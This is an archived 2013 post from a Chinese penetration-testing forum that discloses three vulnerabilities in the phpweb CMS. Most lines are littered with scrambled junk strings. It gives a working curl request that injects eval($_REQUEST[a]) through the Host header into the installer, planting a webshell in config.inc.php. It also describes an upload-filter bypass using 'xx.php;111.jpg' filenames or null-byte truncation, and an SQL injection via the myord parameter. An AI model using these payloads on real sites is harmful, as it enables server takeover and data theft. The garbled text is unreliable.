中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:
+ A6 K# D* d! u6 w4 }2 S- G* f/ U! Q1 B6 M0 }- l% c* g
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码! R* d7 E' i3 \9 [8 }
- y0 u2 D+ k. V( I
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件% u5 S; D/ z* c" Z( p, P& n: Z
鸡肋2: 有一定安全常识的站长都会删掉 install 目录% `5 O1 d9 {2 j/ B2 E
: m" l% M5 j$ x; W9 N, s: e+ O
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
% E  Y4 ~5 p6 e. G" i1 U. D' _! z
9 {3 {( C1 M  U分析:# G% S/ m: T1 w3 O; G$ [

$ H! M7 S( \- ^: s& a ( Z, t" x0 J; G
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
. \! S& U1 V3 B& Y4 v( T. @
" ?, w/ Q5 v/ ]' R                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
1 z4 d" H) n" o  |+ z- i8 m+ Z                                            $filestr=str_replace(" ","",$filestr);. _& I: h4 |$ o' X& K7 J6 e7 H
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
0 t' p9 z& ?2 l3 L                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
4 r0 H0 w4 s- I8 S                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
1 h/ M- e3 ^" [' E+ h                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
+ y0 J. S9 {! p; S- S                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
6 }- o3 v3 z8 X, j$ n4 G- C! I                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
  e/ u3 C0 ^) J. W                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);" e+ \; F7 j* A- o

9 Q: j7 Y6 k( T# r                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
8 C5 y! B, a* ^; i: k& C$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
6 c: }. \5 Z6 H+ f, w
' h" K4 B2 h* J# y4 E& O& Vpoc:
! M+ D  o% Z+ @" c% T; x 4 b% t: D* M$ m3 p. N% p
?
% V/ ^2 Z1 i$ K2 Y" r: N1
- B, j. N5 ~+ ~( o% Icurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
) c) @' K- O- p! l' e6 \shell地址: /config.inc.php  B6 o. u' o2 r/ F. M4 e, E; ^
跟之前的 phpcms一样 需要远程数据库9 |4 n7 @! ^7 Y1 Y1 F& a+ O+ k
6 k# Q& p! A9 w! F; M) L, L
——————————————————–
! m9 B  a4 }/ x9 b9 Y( q# E( P上传漏洞(需要进后台):
( D( ~/ a0 ]7 O6 O- v6 `0 g: p% R漏洞文件: /kedit/upload_cgi/upload.php
; Z# I1 z0 k2 c* K: t这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用- K, w" O. A3 r7 f

; C  @6 V$ z7 v. s3 f2 \ 8 ]5 G: l/ c, B  ?, q& n
<?php4 h" B9 V" i$ {9 W
    define("ROOTPATH", "../../");$ r0 v5 M  M) x9 K8 b5 G5 a
    include(ROOTPATH."includes/admin.inc.php");: p0 v2 @" T6 F8 A, e8 U* i
    NeedAuth(0);
: i: @$ e. d0 d) q$ E# I6 Y : q8 ], q8 x: z% K, [+ ^# b
    $dt=date("Ymd",time());' ]- S1 ]" r8 |/ \
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){2 u( }$ \# l- E8 `
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);) n9 D$ _2 O3 Z6 E
    }
# \! O! b" h1 _( ^. |7 Q6 ^* A ' y4 _1 P8 V$ \7 O. B8 W
    //文件保存目录路径# k; N5 e9 c4 M, [/ c
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';% W  R0 ~& z9 T" L3 Z
    echo $save_path;/ {* L$ z. Z% |
    //文件保存目录URL& C- }* f4 E* X. k
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';3 v! x5 k3 Q# u) m4 T( V3 v. z

" r5 I. a; B" B, Y  D/ K    //定义允许上传的文件扩展名
' m$ x, u0 U% n; [    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀7 D' }# X" s: W8 m- w

( D) b! X# a: I. ^  W, T0 V    //最大文件大小- u6 A5 V; K/ q% p' N5 j, D+ A- A* H
    $max_size = 1000000;
( N' I6 f: o$ C5 i 2 e% ~$ P2 p, y4 i6 n
    //更改目录权限
# R- Z' J5 G7 b0 g2 ?+ z9 }! b    @mkdir($save_path, 0777);) E% T9 I; ~5 N2 [0 L# B( A+ f+ C
, A; c7 T' q1 f4 h6 u) x
    //文件的全部路径
0 ]  n2 @! R! n- W+ z( A* m2 x    $file_path = $save_path.$_POST['fileName'];   //保存文件名+ Y1 w* N- W, Z# l* F

8 v% P5 @7 b2 o+ w& c8 \    //文件URL
6 C& y) x7 A  ^5 Q3 T: ?    $file_url = $save_url.$_POST['fileName'];
/ x. c6 Z- |* R//有上传文件时
! L; F' C9 l$ |# Q, e2 x    if (empty($_FILES) === false) {
' z$ E4 f7 W; H) W 5 K$ H( _# s( j7 p6 @* ?9 c
            //原文件名
4 g/ b9 A( |- ^, Y. L, T+ R            $file_name = $_FILES['fileData']['name'];
9 _# c) q' Z5 d5 T            //服务器上临时文件名% R4 F+ Q2 y/ O/ z/ F+ L4 N
            $tmp_name = $_FILES['fileData']['tmp_name'];
/ ^3 o' b. _3 v            //文件大小
5 ]; K6 L+ E4 N, ?- F            $file_size = $_FILES['fileData']['size'];% ~' Y# ~3 p4 F) _$ k% z$ V5 j
            //检查目录4 d5 c/ _, F% \6 g! `& M
            if (@is_dir($save_path) === false) {
+ s8 p7 n5 B4 }; d" w6 [9 v                    alert("上传目录不存在。");* O( ~0 v% x  N+ d3 ?! _( B! ^1 W
            }* n1 r: r) X* {! c5 O$ M
            //检查目录写权限
9 K, q- h; E" ~; d            if (@is_writable($save_path) === false) {
" A7 V( v% {( V) b8 i                    alert("上传目录没有写权限。");
/ {0 d  \8 q9 C; P            }& v2 z" T, \) L
            //检查是否已上传6 R! s& b& `7 O# i- a: D, a
            if (@is_uploaded_file($tmp_name) === false) {
  |7 j, T: k3 U; H) k                    alert("临时文件可能不是上传文件。");
. q3 {5 R, T1 b            }
( F3 J: z# E8 Y8 Z8 z            //检查文件大小1 }8 l# W7 Q. P9 g6 y9 R- r
            if ($file_size > $max_size) {
# S! j- g5 C/ d% T; `0 z                    alert("上传文件大小超过限制。");' E2 M. @0 F/ W3 g6 [7 d
            }' S0 e  _' j/ T3 a' B
            //获得文件扩展名
: }. x6 ]% j8 I; g            $temp_arr = explode(".", $_POST['fileName']);
0 d/ \: {( s' [" H2 M7 f' E            $file_ext = array_pop($temp_arr);
( L/ A) H) y0 w# d8 T4 N( s            $file_ext = trim($file_ext);, m1 ?( V% F; `, Y$ m' v# F# ^
            $file_ext = strtolower($file_ext);. t) [" n: E: C4 Y, F
7 P" j1 J0 m: s9 |# h7 B" L
            //检查扩展名   
) X; ]% N3 M) Q3 H            if (in_array($file_ext, $ext_arr) === false) {     8 F: V9 H. ^% {3 S2 B
                    alert("上传文件扩展名是不允许的扩展名。");
# E& N, y; ?' {( |            }. j+ a! h8 N; y( u
4 H5 g/ S& e  L1 u7 h
            //移动文件   % y- X- W6 M  x
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
+ @5 O- O( |& L: W% n            if (move_uploaded_file($tmp_name, $file_path) === false) {
3 @4 b( T* v9 u" j+ [3 F                    alert("上传文件失败。");
6 @! r4 A; g; _( U8 B            }
6 h, K/ j) H; b7 q' x
# V0 u4 ~9 @: S            @chmod($file_path,0666);
1 k" z; @8 ]; r
4 q; x6 b" q6 v+ [" S    ?>0 T: A1 A( y: ]3 v
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
. t8 T3 T  m* M5 Z9 E ! Z/ F8 a2 `: H# Y. e
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过1 {: `" I' |( V  y
% w; O; m& j/ G: s2 P
——————————————————
  l/ T5 S4 t3 c# r1 f' b; }注入漏洞:
  m) O) u/ J0 y) E7 ~9 z$ w漏洞文件:search/module/search.php+ E. D# `+ B3 G" F, Y6 w
/search/index.php?key=1&myord=1 [sqlinjection]" s% @% }& @, n/ G  r

" E9 m$ T( E4 j7 s* A" ~6 o 4 n2 C8 [# [) r: G0 |
<?php" ~, @$ }  s% P2 N- l
   //       ... 省略 n 行..., Q# u: j0 X  q* E% }2 C; c. y
   //第18行:
+ g6 N) R- Y" \$ }" R           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
5 u" S# r1 d' E# n7 `# f6 V           $page=htmlspecialchars($_GET["page"]);# [+ G6 ^$ r- ?
           $myord=htmlspecialchars($_GET["myord"]);
' e2 a0 n. W5 @& k/ S 1 e  {! W4 x* \! P/ N3 l
   //       ... 省略 n 行...
' K( g3 B% D) @0 T/ ^, C0 O   $key,$myord 两个参数带入查询, X! w6 J# T6 x% k; U5 U
   //第47行 $key:
8 a5 L' I, m2 k
7 b5 ~; S- K- e! H9 ^2 o   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过.., O5 {; _- w  V6 D' l, B2 h) b$ R

/ n3 u( y  d1 W6 Q4 ~: z. C   //第197行 $myord
* P3 o" c8 N5 H; @+ ]8 \/ p   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
7 B8 F; A; D7 }1 \$ m, ?5 m0 F2 { 0 U: C+ B1 e0 m: c
   ?>
8 Y1 F3 X3 `2 [8 v




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2